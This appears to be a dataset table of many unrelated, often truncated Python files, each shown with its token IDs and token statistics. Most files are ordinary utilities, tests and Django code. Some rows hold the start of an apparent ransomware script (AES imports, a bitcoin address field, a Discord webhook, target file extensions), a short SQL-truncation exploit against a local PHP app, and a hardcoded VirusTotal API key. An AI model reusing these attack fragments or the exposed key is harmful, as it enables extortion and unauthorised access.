content stringlengths 1 1.05M | input_ids listlengths 1 883k | ratio_char_token float64 1 22.9 | token_count int64 1 883k |
|---|---|---|---|
import numpy as np
def dice_ratio(pred, label):
'''Note: pred & label should only contain 0 or 1.
'''
return np.sum(pred[label==1])*2.0 / (np.sum(pred) + np.sum(label)) | [
11748,
299,
32152,
355,
45941,
198,
198,
4299,
17963,
62,
10366,
952,
7,
28764,
11,
6167,
2599,
198,
220,
220,
220,
705,
7061,
6425,
25,
2747,
1222,
6167,
815,
691,
3994,
657,
393,
352,
13,
198,
220,
220,
220,
705,
7061,
198,
220,
... | 2.325 | 80 |
import PyQt5
import PyQt5.QtWidgets
import PyQt5.QtCore
import sys
import requests
import random
import string
import threading
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import os
import shutil
btcAdd = ""
email = ""
discordWebhook = ""
fileTypes = ['.txt','.exe','.p... | [
11748,
9485,
48,
83,
20,
201,
198,
11748,
9485,
48,
83,
20,
13,
48,
83,
54,
312,
11407,
201,
198,
11748,
9485,
48,
83,
20,
13,
48,
83,
14055,
201,
198,
11748,
25064,
201,
198,
11748,
7007,
201,
198,
11748,
4738,
201,
198,
11748,
... | 2.426343 | 1,731 |
import os
from flask import Blueprint, Flask | [
11748,
28686,
198,
6738,
42903,
1330,
39932,
11,
46947
] | 4.888889 | 9 |
from datetime import datetime
from unittest import TestCase
from dateutil.tz import UTC
from src.DateUtils import get_start_of_year, get_start_of_year_after, date_to_string, date_and_time_to_string
| [
6738,
4818,
8079,
1330,
4818,
8079,
198,
6738,
555,
715,
395,
1330,
6208,
20448,
198,
198,
6738,
3128,
22602,
13,
22877,
1330,
18119,
198,
198,
6738,
12351,
13,
10430,
18274,
4487,
1330,
651,
62,
9688,
62,
1659,
62,
1941,
11,
651,
62,... | 3.045455 | 66 |
import cStringIO
import hashlib
import MySQLdb
import os
import random
import signal
import sys
import threading
import time
import string
import traceback
CHARS = string.letters + string.digits
# Should be deterministic given an idx
# Base class for worker threads
def populate_table(con, num_records_before, do_blo... | [
11748,
269,
10100,
9399,
198,
11748,
12234,
8019,
198,
11748,
33476,
9945,
198,
11748,
28686,
198,
11748,
4738,
198,
11748,
6737,
198,
11748,
25064,
198,
11748,
4704,
278,
198,
11748,
640,
198,
11748,
4731,
198,
11748,
12854,
1891,
198,
1... | 2.107969 | 3,112 |
from configparser import ConfigParser
from glob import glob
from discord import Embed
from discord.ext.commands import Cog, command, group, is_owner
import asyncio
import datetime
import sys
import discord
from discord.ext.commands.context import Context
#from tinker.ext.apps import *
| [
6738,
4566,
48610,
1330,
17056,
46677,
198,
6738,
15095,
1330,
15095,
198,
198,
6738,
36446,
1330,
13302,
276,
198,
6738,
36446,
13,
2302,
13,
9503,
1746,
1330,
327,
519,
11,
3141,
11,
1448,
11,
318,
62,
18403,
198,
198,
11748,
30351,
... | 3.766234 | 77 |
#!/usr/bin/env python
# Copyright 2018 The JsCodeStyle Authors.
# Copyright 2007 The Closure Linter Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http... | [
2,
48443,
14629,
14,
8800,
14,
24330,
21015,
198,
2,
15069,
2864,
383,
449,
82,
10669,
21466,
46665,
13,
198,
2,
15069,
4343,
383,
1012,
4567,
406,
3849,
46665,
13,
1439,
6923,
33876,
13,
198,
2,
198,
2,
49962,
739,
262,
24843,
1378... | 3.42836 | 677 |
#!/usr/bin/python
# -*- coding:utf-8 -*-
'''
1:
: "hello"
: "olleh"
2:
: "A man, a plan, a canal: Panama"
: "amanaP :lanac a ,nalp a ,nam A"
'''
| [
2,
48443,
14629,
14,
8800,
14,
29412,
198,
2,
532,
9,
12,
19617,
25,
40477,
12,
23,
532,
9,
12,
198,
7061,
6,
628,
198,
352,
25,
198,
198,
25,
366,
31373,
1,
198,
25,
366,
349,
293,
71,
1,
198,
362,
25,
198,
198,
25,
366,
... | 1.876543 | 81 |
from django.contrib import admin
from .models import Profile,Neighborhood,Posts,Business
# Register your models here.
admin.site.register(Profile)
admin.site.register(Neighborhood)
admin.site.register(Posts)
admin.site.register(Business)
# admin.site.register(DisLike)
# admin.site.register(MoringaMerch)
# admin.site.r... | [
6738,
42625,
14208,
13,
3642,
822,
1330,
13169,
198,
6738,
764,
27530,
1330,
13118,
11,
46445,
2865,
2894,
11,
21496,
11,
24749,
198,
198,
2,
17296,
534,
4981,
994,
13,
198,
28482,
13,
15654,
13,
30238,
7,
37046,
8,
198,
28482,
13,
... | 3.235849 | 106 |
# This file is auto-genereated by bess-gen-doc.
# See https://github.com/nemethf/bess-gen-doc
#
# It is based on bess/protobuf/module_msg.proto, which has the following copyright.
# Copyright (c) 2016-2017, Nefeli Networks, Inc.
# Copyright (c) 2017, The Regents of the University of California.
# All rights reserved.
... | [
2,
770,
2393,
318,
8295,
12,
5235,
567,
515,
416,
275,
408,
12,
5235,
12,
15390,
13,
198,
2,
4091,
3740,
1378,
12567,
13,
785,
14,
77,
368,
2788,
69,
14,
65,
408,
12,
5235,
12,
15390,
198,
2,
198,
2,
632,
318,
1912,
319,
275,
... | 3.438503 | 561 |
# Generated by Django 2.2.9 on 2020-11-20 02:29
from django.db import migrations, models
| [
2,
2980,
515,
416,
37770,
362,
13,
17,
13,
24,
319,
12131,
12,
1157,
12,
1238,
7816,
25,
1959,
198,
198,
6738,
42625,
14208,
13,
9945,
1330,
15720,
602,
11,
4981,
628
] | 2.84375 | 32 |
import pytest
from disterminal import helpers
import numpy as np
| [
11748,
12972,
9288,
198,
198,
6738,
595,
23705,
282,
1330,
49385,
198,
11748,
299,
32152,
355,
45941,
198
] | 3.666667 | 18 |
import pytest
from listlookup import ListLookup
sample_list = [
{"id": 1, "country": "us", "name": "Atlanta"},
{"id": 2, "country": "us", "name": "Miami"},
{"id": 3, "country": "uk", "name": "Britain"},
{"id": 5, "country": "uk", "name": "Bermingham"},
{"id": 4, "country": "ca", "name": "Barrie"},... | [
11748,
12972,
9288,
198,
198,
6738,
1351,
5460,
929,
1330,
7343,
8567,
929,
198,
198,
39873,
62,
4868,
796,
685,
198,
220,
220,
220,
19779,
312,
1298,
352,
11,
366,
19315,
1298,
366,
385,
1600,
366,
3672,
1298,
366,
43482,
25719,
198,... | 2.564784 | 301 |
import time
import numpy as np
import os, sys, shutil
from contextlib import contextmanager
from numba import cuda as ncuda
import PIL
from PIL import Image, ImageFilter, ImageDraw, ImageFont
import cv2
import contextlib
from copy import deepcopy
import subprocess
from glob import glob
from os import path as osp
from o... | [
11748,
640,
198,
11748,
299,
32152,
355,
45941,
198,
11748,
28686,
11,
25064,
11,
4423,
346,
198,
6738,
4732,
8019,
1330,
4732,
37153,
198,
6738,
997,
7012,
1330,
269,
15339,
355,
299,
66,
15339,
198,
11748,
350,
4146,
198,
6738,
350,
... | 2.688067 | 1,542 |
#coding=utf-8
#os.walk()
import os
all_files = []
path = os.getcwd()
list_files = os.walk(path)
for dirpath,dirnames,filenames in list_files:
for dir in dirnames:
all_files.append(os.path.join(dirpath,dir))
for file in filenames:
all_files.append(os.path.join(dirpath,file))
#
for file in all... | [
2,
66,
7656,
28,
40477,
12,
23,
198,
2,
418,
13,
11152,
3419,
198,
198,
11748,
28686,
198,
198,
439,
62,
16624,
796,
17635,
198,
6978,
796,
28686,
13,
1136,
66,
16993,
3419,
198,
4868,
62,
16624,
796,
28686,
13,
11152,
7,
6978,
8,... | 2.271523 | 151 |
# --------------------------------------------------------
# Faster R-CNN
# Licensed under The MIT License [see LICENSE for details]
# Written by Ross Girshick and Xinlei Chen
# --------------------------------------------------------
from __future__ import absolute_import
from __future__ import division
from __future_... | [
2,
20368,
22369,
198,
2,
38996,
371,
12,
18474,
198,
2,
49962,
739,
383,
17168,
13789,
685,
3826,
38559,
24290,
329,
3307,
60,
198,
2,
22503,
416,
9847,
23837,
1477,
624,
290,
25426,
293,
72,
12555,
198,
2,
20368,
22369,
198,
6738,
... | 2.498662 | 1,121 |
from __future__ import print_function
import os
import time
import numpy as np
import tensorrt as trt
import pycuda.driver as cuda
import pycuda.autoinit
import cv2
import mmcv
from tqdm import tqdm
import pickle as pkl
from vis_util import show_corners
from tools.model_zoo import model_zoo as zoo
TRT_LOGGER = trt.L... | [
6738,
11593,
37443,
834,
1330,
3601,
62,
8818,
198,
198,
11748,
28686,
198,
11748,
640,
198,
11748,
299,
32152,
355,
45941,
198,
11748,
11192,
273,
17034,
355,
491,
83,
198,
11748,
12972,
66,
15339,
13,
26230,
355,
269,
15339,
198,
1174... | 2.044859 | 4,347 |
import os, time, sys, hashlib
# Python Recreation of MonitorSauraus Rex.
# Originally Developed by Luke Barlow, Dayan Patel, Rob Shire, Sian Skiggs.
# Aims:
# - Detect Rapid File Changes
# - Cut Wifi Connections
# - Create Logs for running processes at time of trigger, find source infection fil... | [
11748,
28686,
11,
640,
11,
25064,
11,
12234,
8019,
201,
198,
201,
198,
2,
11361,
34285,
286,
18289,
50,
2899,
8717,
17853,
13,
201,
198,
2,
19486,
6013,
276,
416,
11336,
2409,
9319,
11,
3596,
272,
33110,
11,
3851,
911,
557,
11,
311,... | 2.810026 | 379 |
#!/usr/bin/env python3
# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved
from .data_source import DataSchema, DataSchemaConfig, DataSource
from .tsv import TSVDataSource
__all__ = ["DataSchema", "DataSchemaConfig", "DataSource", "TSVDataSource"]
| [
2,
48443,
14629,
14,
8800,
14,
24330,
21015,
18,
198,
2,
15069,
357,
66,
8,
3203,
11,
3457,
13,
290,
663,
29116,
13,
1439,
6923,
33876,
198,
198,
6738,
764,
7890,
62,
10459,
1330,
6060,
27054,
2611,
11,
6060,
27054,
2611,
16934,
11,... | 3.253012 | 83 |
import math
if __name__ == "__main__":
solution = Solution()
print(solution.minimalSteps(["S#O", "M..", "M.T"]))
print(solution.minimalSteps(["S#O", "M.#", "M.T"]))
print(solution.minimalSteps(["S#O", "M.T", "M.."]))
| [
198,
198,
11748,
10688,
198,
198,
361,
11593,
3672,
834,
6624,
366,
834,
12417,
834,
1298,
198,
220,
220,
220,
4610,
796,
28186,
3419,
198,
220,
220,
220,
3601,
7,
82,
2122,
13,
1084,
4402,
8600,
82,
7,
14692,
50,
2,
46,
1600,
366... | 2.116071 | 112 |
import requests
import json
from datetime import date, datetime, timedelta | [
11748,
7007,
198,
11748,
33918,
198,
6738,
4818,
8079,
1330,
3128,
11,
4818,
8079,
11,
28805,
12514
] | 4.352941 | 17 |
from raspi_io import SoftSPI, GPIO
import raspi_io.utility as utility
if __name__ == "__main__":
address = utility.scan_server(0.05)[0]
cpld = SoftSPI(address, GPIO.BCM, cs=7, clk=11, mosi=10, miso=9, bits_per_word=10)
flash = SoftSPI(address, GPIO.BCM, cs=8, clk=11, mosi=10, miso=9, bits_per_word=8)
... | [
6738,
374,
5126,
72,
62,
952,
1330,
8297,
4303,
40,
11,
50143,
198,
11748,
374,
5126,
72,
62,
952,
13,
315,
879,
355,
10361,
198,
198,
361,
11593,
3672,
834,
6624,
366,
834,
12417,
834,
1298,
198,
220,
220,
220,
2209,
796,
10361,
... | 2.075221 | 226 |
from torch import nn, optim
from torch.utils.tensorboard import SummaryWriter
from tqdm import tqdm
import torch
| [
6738,
28034,
1330,
299,
77,
11,
6436,
198,
6738,
28034,
13,
26791,
13,
83,
22854,
3526,
1330,
21293,
34379,
198,
6738,
256,
80,
36020,
1330,
256,
80,
36020,
198,
11748,
28034,
628,
628,
198
] | 3.441176 | 34 |
"""
Zip - Unindo iterveis
Zip_longest _ Itertools
"""
from itertools import zip_longest, count
index = count()
cidades = ['Sao Paulo', 'Belo Horizonte', 'Salvador', 'Monte Belo']
estados = ['SP', 'MG', 'BA']
cidades_estados = zip_longest(cidades, estados)
for valor in cidades_estados:
print(valor) | [
37811,
198,
41729,
532,
791,
521,
78,
340,
3760,
271,
198,
41729,
62,
6511,
395,
4808,
40806,
31391,
198,
37811,
198,
6738,
340,
861,
10141,
1330,
19974,
62,
6511,
395,
11,
954,
198,
198,
9630,
796,
954,
3419,
198,
66,
312,
2367,
79... | 2.508197 | 122 |
import os
import ast
import torch
import torch.nn as nn
from torch.nn import functional as F
import torch.optim as optim
from torch.utils.data import DataLoader
from pytorch_lightning.core.lightning import LightningModule
from pytorch_lightning import Trainer
from argparse import ArgumentParser
from model import Speech... | [
11748,
28686,
198,
11748,
6468,
198,
11748,
28034,
198,
11748,
28034,
13,
20471,
355,
299,
77,
198,
6738,
28034,
13,
20471,
1330,
10345,
355,
376,
198,
11748,
28034,
13,
40085,
355,
6436,
198,
6738,
28034,
13,
26791,
13,
7890,
1330,
606... | 2.7192 | 1,250 |
"""
AWS DeepRacer reward function using only progress
"""
#===============================================================================
#
# REWARD
#
#===============================================================================
| [
37811,
198,
12298,
50,
10766,
49,
11736,
6721,
2163,
1262,
691,
4371,
198,
37811,
198,
198,
2,
23926,
25609,
18604,
198,
2,
198,
2,
4526,
39743,
198,
2,
198,
2,
23926,
25609,
18604,
198
] | 6.882353 | 34 |
from __future__ import absolute_import, unicode_literals
from hashlib import sha1
from time import sleep
from celery import shared_task
from .models import JPEGFile
| [
6738,
11593,
37443,
834,
1330,
4112,
62,
11748,
11,
28000,
1098,
62,
17201,
874,
198,
6738,
12234,
8019,
1330,
427,
64,
16,
198,
6738,
640,
1330,
3993,
198,
6738,
18725,
1924,
1330,
4888,
62,
35943,
198,
198,
6738,
764,
27530,
1330,
4... | 3.695652 | 46 |
# coding=utf-8
"""
Redirector tests
"""
from redirector import views
| [
2,
19617,
28,
40477,
12,
23,
198,
198,
37811,
198,
7738,
1060,
273,
5254,
198,
37811,
198,
6738,
18941,
273,
1330,
5009,
628,
628,
628,
628
] | 2.961538 | 26 |
"""multipy: Python library for multicomponent mass transfer"""
__author__ = "James C. Sutherland, Kamila Zdybal"
__copyright__ = "Copyright (c) 2022, James C. Sutherland, Kamila Zdybal"
__license__ = "MIT"
__version__ = "1.0.0"
__maintainer__ = ["Kamila Zdybal"]
__email__ = ["kamilazdybal@gmail.com"]
__status__ = "Pro... | [
37811,
16680,
541,
88,
25,
11361,
5888,
329,
47368,
3361,
3471,
2347,
4351,
37811,
198,
198,
834,
9800,
834,
796,
366,
14731,
327,
13,
47793,
11,
12670,
10102,
1168,
9892,
6893,
1,
198,
834,
22163,
4766,
834,
796,
366,
15269,
357,
66,... | 4.290155 | 193 |
import numpy as np
import pandas as pd
from backtesting.analysis import plot_cost_proceeds, plot_holdings, \
plot_performance
from backtesting.report import Report
from backtesting.simulation import simulate
if __name__ == '__main__':
main()
__all__ = ['simulate', 'plot_holdings', 'plot_cost_proceeds',
... | [
11748,
299,
32152,
355,
45941,
198,
11748,
19798,
292,
355,
279,
67,
198,
198,
6738,
736,
33407,
13,
20930,
1330,
7110,
62,
15805,
62,
1676,
2707,
82,
11,
7110,
62,
2946,
654,
11,
3467,
198,
220,
220,
220,
7110,
62,
26585,
198,
6738... | 2.92437 | 119 |
'''
Author: Geeticka Chauhan
Performs pre-processing on a csv file independent of the dataset (once converters have been applied).
Refer to notebooks/Data-Preprocessing for more details. The methods are specifically used in the non
_original notebooks for all datasets.
'''
import os, pandas as pd, numpy as np
import ... | [
7061,
6,
198,
13838,
25,
2269,
316,
29873,
49628,
7637,
198,
5990,
23914,
662,
12,
36948,
319,
257,
269,
21370,
2393,
4795,
286,
262,
27039,
357,
27078,
6718,
1010,
423,
587,
5625,
737,
220,
198,
46238,
284,
43935,
14,
6601,
12,
6719,... | 3.904959 | 968 |
import datetime
import seaborn as sns
import pickle as pickle
from scipy.spatial.distance import cdist, pdist, squareform
import pandas as pd
from sklearn.linear_model import LogisticRegression, LogisticRegressionCV
#from sklearn.model_selection import StratifiedShuffleSplit
from collections import defaultdict... | [
11748,
4818,
8079,
201,
198,
11748,
384,
397,
1211,
355,
3013,
82,
201,
198,
201,
198,
11748,
2298,
293,
355,
2298,
293,
201,
198,
6738,
629,
541,
88,
13,
2777,
34961,
13,
30246,
1330,
269,
17080,
11,
279,
17080,
11,
6616,
687,
201,... | 3.409639 | 249 |
# Colorful VALORANT by b0kch01
import os, ctypes
# Disable quick-edit mode (pauses bot)
kernel32 = ctypes.windll.kernel32
kernel32.SetConsoleMode(kernel32.GetStdHandle(-10), 128)
from pyfiglet import Figlet
from termcolor import cprint, colored
import colorama
import keyboard
import time
# Fix legacy console color... | [
2,
5315,
913,
26173,
1581,
8643,
416,
275,
15,
74,
354,
486,
198,
198,
11748,
28686,
11,
269,
19199,
198,
198,
2,
31529,
2068,
12,
19312,
4235,
357,
8957,
2664,
10214,
8,
198,
33885,
2624,
796,
269,
19199,
13,
7972,
297,
13,
33885,
... | 2.455592 | 608 |
#!/usr/bin/env python
import json
import urllib
import urllib2
import sys
apikey = '843fa2012b619be746ead785b933d59820a2e357c7c186e581e8fcadbe2e550e'
mhash = arguments()
data = query_api(mhash, apikey)
if not in_database(data, mhash):
print 'No entry for %s in database' % mhash
exit(1)
# Positive match found
sh... | [
2,
48443,
14629,
14,
8800,
14,
24330,
21015,
198,
11748,
33918,
198,
11748,
2956,
297,
571,
198,
11748,
2956,
297,
571,
17,
198,
11748,
25064,
198,
198,
499,
522,
88,
796,
705,
23,
3559,
13331,
6999,
65,
21,
1129,
1350,
22,
3510,
13... | 2.497854 | 233 |
__all__ = (
'ANYSP',
'DLQUO',
'DPRIME',
'LAQUO',
'LDQUO',
'LSQUO',
'MDASH',
'MDASH_PAIR',
'MINUS',
'NBSP',
'NDASH',
'NNBSP',
'RAQUO',
'RDQUO',
'RSQUO',
'SPRIME',
'THNSP',
'TIMES',
'WHSP',
)
NBSP = '\u00A0'
NNBSP = '\u202F'
THNSP = '\u2009'
WHS... | [
834,
439,
834,
796,
357,
198,
220,
220,
220,
705,
31827,
4303,
3256,
198,
220,
220,
220,
705,
19260,
10917,
46,
3256,
198,
220,
220,
220,
705,
35,
4805,
12789,
3256,
198,
220,
220,
220,
705,
13534,
10917,
46,
3256,
198,
220,
220,
... | 1.979644 | 393 |
""" Wagtail Live models."""
from django.db import models
from django.utils.timezone import now
from wagtail.admin.edit_handlers import FieldPanel, StreamFieldPanel
from wagtail.core.fields import StreamField
from .blocks import LivePostBlock
| [
37811,
21309,
13199,
7547,
4981,
526,
15931,
198,
198,
6738,
42625,
14208,
13,
9945,
1330,
4981,
198,
6738,
42625,
14208,
13,
26791,
13,
2435,
11340,
1330,
783,
198,
6738,
266,
363,
13199,
13,
28482,
13,
19312,
62,
4993,
8116,
1330,
766... | 3.602941 | 68 |
import numpy as np
from inprod_analytic import *
from params_maooam import natm, noc
init_inprod()
real_eps = 2.2204460492503131e-16
"""This module print the coefficients computed in the inprod_analytic module"""
for i in range(0, natm):
for j in range(0, natm):
if(abs(atmos.a[i, j]) >= real_eps):
... | [
11748,
299,
32152,
355,
45941,
198,
6738,
287,
1676,
67,
62,
38200,
13370,
1330,
1635,
198,
6738,
42287,
62,
2611,
2238,
321,
1330,
34664,
76,
11,
299,
420,
198,
198,
15003,
62,
259,
1676,
67,
3419,
198,
198,
5305,
62,
25386,
796,
3... | 1.577824 | 1,452 |
from django.http import Http404, HttpResponse
from django.shortcuts import redirect
import boto3
from botocore.errorfactory import ClientError
from ..models import PersonProxy
| [
6738,
42625,
14208,
13,
4023,
1330,
367,
29281,
26429,
11,
367,
29281,
31077,
198,
6738,
42625,
14208,
13,
19509,
23779,
1330,
18941,
198,
11748,
275,
2069,
18,
198,
6738,
10214,
420,
382,
13,
18224,
69,
9548,
1330,
20985,
12331,
198,
6... | 3.708333 | 48 |
import unittest
from dhcppython import options
if __name__ == "__main__":
unittest.main()
| [
11748,
555,
715,
395,
198,
6738,
34590,
20322,
7535,
1330,
3689,
628,
198,
198,
361,
11593,
3672,
834,
6624,
366,
834,
12417,
834,
1298,
198,
220,
220,
220,
555,
715,
395,
13,
12417,
3419,
198
] | 2.771429 | 35 |
"""Init file."""
from keras.legacy_tf_layers import migration_utils # pylint: disable=unused-import
| [
37811,
31768,
2393,
526,
15931,
198,
198,
6738,
41927,
292,
13,
1455,
1590,
62,
27110,
62,
75,
6962,
1330,
13472,
62,
26791,
220,
1303,
279,
2645,
600,
25,
15560,
28,
403,
1484,
12,
11748,
198
] | 2.914286 | 35 |
# Definition for a binary tree node.
# class TreeNode:
# def __init__(self, x):
# self.val = x
# self.left = None
# self.right = None
# Your Codec object will be instantiated and called as such:
# Your Codec object will be instantiated and called as such:
# ser = Codec()
# deser = Codec()
#... | [
2,
30396,
329,
257,
13934,
5509,
10139,
13,
198,
2,
1398,
12200,
19667,
25,
198,
2,
220,
220,
220,
220,
825,
11593,
15003,
834,
7,
944,
11,
2124,
2599,
198,
2,
220,
220,
220,
220,
220,
220,
220,
220,
2116,
13,
2100,
796,
2124,
1... | 2.722222 | 144 |
import os
import sagemaker
from sagemaker import get_execution_role
from sagemaker.tensorflow.estimator import TensorFlow
sagemaker_session = sagemaker.Session()
# role = get_execution_role()
region = sagemaker_session.boto_session.region_name
training_input_path = "s3://intel-edge-poc/mask_dataset_datagen/train/"
v... | [
11748,
28686,
198,
11748,
45229,
32174,
198,
6738,
45229,
32174,
1330,
651,
62,
18558,
1009,
62,
18090,
198,
6738,
45229,
32174,
13,
83,
22854,
11125,
13,
395,
320,
1352,
1330,
309,
22854,
37535,
198,
198,
82,
363,
32174,
62,
29891,
796... | 2.453901 | 423 |
import numpy as np
import skimage
import skimage.morphology as morph
import skimage.filters as filt
import skimage.exposure as expo
def get_corrected_image(iimage, gamma=0.25):
"""Return filtered image to detect spots."""
image = skimage.util.img_as_float(iimage)
image **= gamma
return image
| [
198,
198,
11748,
299,
32152,
355,
45941,
198,
11748,
1341,
9060,
198,
11748,
1341,
9060,
13,
24503,
1435,
355,
17488,
198,
11748,
1341,
9060,
13,
10379,
1010,
355,
1226,
83,
198,
11748,
1341,
9060,
13,
1069,
26205,
355,
1033,
78,
628,
... | 2.934579 | 107 |
# coding: utf-8
"""Test suite for our sysinfo utilities."""
# Copyright (c) yap_ipython Development Team.
# Distributed under the terms of the Modified BSD License.
import json
import nose.tools as nt
from yap_ipython.utils import sysinfo
def test_json_getsysinfo():
"""
test that it is easily jsonable and ... | [
2,
19617,
25,
3384,
69,
12,
23,
198,
37811,
14402,
18389,
329,
674,
25064,
10951,
20081,
526,
15931,
198,
198,
2,
15069,
357,
66,
8,
331,
499,
62,
541,
7535,
7712,
4816,
13,
198,
2,
4307,
6169,
739,
262,
2846,
286,
262,
40499,
347... | 3.038168 | 131 |
from Pages.LoginPage import LoginPage
| [
6738,
28221,
13,
47790,
9876,
1330,
23093,
9876,
628
] | 4.333333 | 9 |
from pyimagesearch.shapedetector import ShapeDetector
from pyimagesearch.colorlabeler import ColorLabeler
import argparse
import imutils
import numpy as np
import cv2
import argparse
import imutils
face_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')
if face_cascade.empty(): raise Exception("you... | [
6738,
12972,
17566,
3679,
13,
16760,
316,
9250,
1330,
25959,
11242,
9250,
198,
6738,
12972,
17566,
3679,
13,
8043,
18242,
263,
1330,
5315,
33986,
263,
198,
11748,
1822,
29572,
198,
11748,
545,
26791,
198,
11748,
299,
32152,
355,
45941,
19... | 2.369338 | 861 |
#!/usr/bin/env python
s = [n * (3 * n - 1) / 2 for n in range(0, 10000)]
found = False
i = 1900
while not found:
i += 1
j = 1
while j < i:
# actually, we cannot guarentee that j < i, the real condition would
# be s[i] < 3 * j + 1, which is the distance of s[j] and s[j + 1]. But
# t... | [
2,
48443,
14629,
14,
8800,
14,
24330,
21015,
198,
198,
82,
796,
685,
77,
1635,
357,
18,
1635,
299,
532,
352,
8,
1220,
362,
329,
299,
287,
2837,
7,
15,
11,
33028,
15437,
198,
198,
9275,
796,
10352,
198,
72,
796,
21489,
198,
4514,
... | 1.971223 | 278 |
"""
Module providing ML anonymization.
This module contains methods for anonymizing ML model training data, so that when
a model is retrained on the anonymized data, the model itself will also be considered
anonymous. This may help exempt the model from different obligations and restrictions
set out in data protection... | [
37811,
198,
26796,
4955,
10373,
14571,
1634,
13,
198,
198,
1212,
8265,
4909,
5050,
329,
14571,
2890,
10373,
2746,
3047,
1366,
11,
523,
326,
618,
198,
64,
2746,
318,
1005,
13363,
319,
262,
14571,
1143,
1366,
11,
262,
2746,
2346,
481,
6... | 4.42233 | 206 |
from qiskit import QuantumRegister,QuantumCircuit
from qiskit.aqua.operators import StateFn
from qiskit.aqua.operators import I
from qiskit_code.quantumMethod import add,ini
from qiskit_code.classicalMethod import Dec2Bi
#DeutschJozsa('constant')
#DeutschJozsa('balanced')
| [
6738,
10662,
1984,
270,
1330,
29082,
38804,
11,
24915,
388,
31560,
5013,
201,
198,
6738,
10662,
1984,
270,
13,
36129,
64,
13,
3575,
2024,
1330,
1812,
37,
77,
201,
198,
6738,
10662,
1984,
270,
13,
36129,
64,
13,
3575,
2024,
1330,
314,
... | 2.828283 | 99 |
import requests
import random, string
x = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for _ in range(16))
URL = "http://localhost/"
secret = "aA11111111" + x
# Registering a user
requests.post(url = "%s/add.php" % URL, data = {
'name': 'facebook' + ' '*64 + 'abc',
'secr... | [
11748,
7007,
198,
11748,
4738,
11,
4731,
198,
87,
796,
705,
4458,
22179,
7,
25120,
13,
25541,
7,
8841,
13,
292,
979,
72,
62,
7211,
2798,
589,
1343,
4731,
13,
292,
979,
72,
62,
21037,
7442,
1343,
4731,
13,
12894,
896,
8,
329,
4808,... | 2.622951 | 183 |
import argparse
import sys
import traceback
from .app import Application
sys.excepthook = new_excepthook
if __name__ == '__main__':
main()
| [
11748,
1822,
29572,
198,
11748,
25064,
198,
11748,
12854,
1891,
198,
198,
6738,
764,
1324,
1330,
15678,
628,
198,
198,
17597,
13,
1069,
344,
79,
400,
566,
796,
649,
62,
1069,
344,
79,
400,
566,
628,
198,
198,
361,
11593,
3672,
834,
... | 2.727273 | 55 |
from unittest import TestCase
from exercicios.ex1030 import calcula_suicidio
import random
| [
6738,
555,
715,
395,
1330,
6208,
20448,
198,
6738,
4208,
291,
4267,
13,
1069,
940,
1270,
1330,
5204,
64,
62,
2385,
291,
312,
952,
198,
198,
11748,
4738,
628
] | 3.206897 | 29 |
# -*- coding: utf-8 -*-
from json import load
from logging import basicConfig
from os.path import join, dirname
from pathlib import Path
################################################################################
# CHECKING THE INPUT AND OUTPUT AND DIRECTORY PATH
# INPUT
with open(join(Path(dirname(__file__)).par... | [
2,
532,
9,
12,
19617,
25,
3384,
69,
12,
23,
532,
9,
12,
198,
6738,
33918,
1330,
3440,
198,
6738,
18931,
1330,
4096,
16934,
198,
6738,
28686,
13,
6978,
1330,
4654,
11,
26672,
3672,
198,
6738,
3108,
8019,
1330,
10644,
198,
198,
29113,... | 3.565217 | 184 |
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
#
# Author: Lorand Cheng https://github.com/lorandcheng
# Date: Nov 15, 2020
# Project: USC EE250 Final Project, Morse Code Translator and Messenger
#
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
import... | [
2,
1303,
1303,
1303,
1303,
1303,
1303,
1303,
1303,
1303,
1303,
1303,
1303,
1303,
1303,
1303,
1303,
1303,
1303,
1303,
1303,
1303,
1303,
1303,
1303,
1303,
1303,
1303,
1303,
1303,
1303,
1303,
1303,
1303,
1303,
1303,
1303,
1303,
1303,
1303,
... | 2.642384 | 151 |
# -*- coding: utf-8 -*-
import random
from random_words import RandomWords
from random_words import LoremIpsum
from django.core.management.base import BaseCommand
from app.models import Tag
from app.models import Post
| [
2,
532,
9,
12,
19617,
25,
3384,
69,
12,
23,
532,
9,
12,
198,
198,
11748,
4738,
198,
198,
6738,
4738,
62,
10879,
1330,
14534,
37117,
198,
6738,
4738,
62,
10879,
1330,
15639,
76,
40,
862,
388,
198,
198,
6738,
42625,
14208,
13,
7295,... | 3.328358 | 67 |
import numpy as np
import os
| [
11748,
299,
32152,
355,
45941,
198,
11748,
28686,
628,
628
] | 3.2 | 10 |
#!/usr/bin/env python
"""Waypoint Updater.
This node will publish waypoints from the car's current position to some `x` distance ahead.
As mentioned in the doc, you should ideally first implement a version which does not care
about traffic lights or obstacles.
Once you have created dbw_node, you will update this node... | [
2,
48443,
14629,
14,
8800,
14,
24330,
21015,
198,
37811,
25309,
4122,
3205,
67,
729,
13,
198,
1212,
10139,
481,
7715,
835,
13033,
422,
262,
1097,
338,
1459,
2292,
284,
617,
4600,
87,
63,
5253,
4058,
13,
198,
198,
1722,
4750,
287,
26... | 3.424821 | 419 |
# renames duplicate columns by suffixing _1, _2 etc
| [
2,
8851,
1047,
23418,
15180,
416,
35488,
278,
4808,
16,
11,
4808,
17,
3503,
198
] | 3.466667 | 15 |
'''
sbc-ngs (c) University of Manchester 2019
All rights reserved.
@author: neilswainston
'''
# pylint: disable=no-member
# pylint: disable=too-few-public-methods
# pylint: disable=too-many-arguments
# pylint: disable=too-many-instance-attributes
# pylint: disable=unused-argument
# pylint: disable=wrong-import-order
... | [
7061,
6,
198,
82,
15630,
12,
782,
82,
357,
66,
8,
2059,
286,
9502,
13130,
198,
198,
3237,
2489,
10395,
13,
198,
198,
31,
9800,
25,
497,
346,
2032,
391,
3743,
198,
7061,
6,
198,
2,
279,
2645,
600,
25,
15560,
28,
3919,
12,
19522,
... | 1.866097 | 1,755 |
import argparse
from time import sleep
import requests
import xmltodict
# http://www.nationalrail.co.uk/100296.aspx
# https://lite.realtime.nationalrail.co.uk/OpenLDBWS/
# http://zetcode.com/db/sqlitepythontutorial/
from utils.database import insert_into_db, delete_where, execute_sql
xml_payload = """<?xml version=... | [
11748,
1822,
29572,
198,
6738,
640,
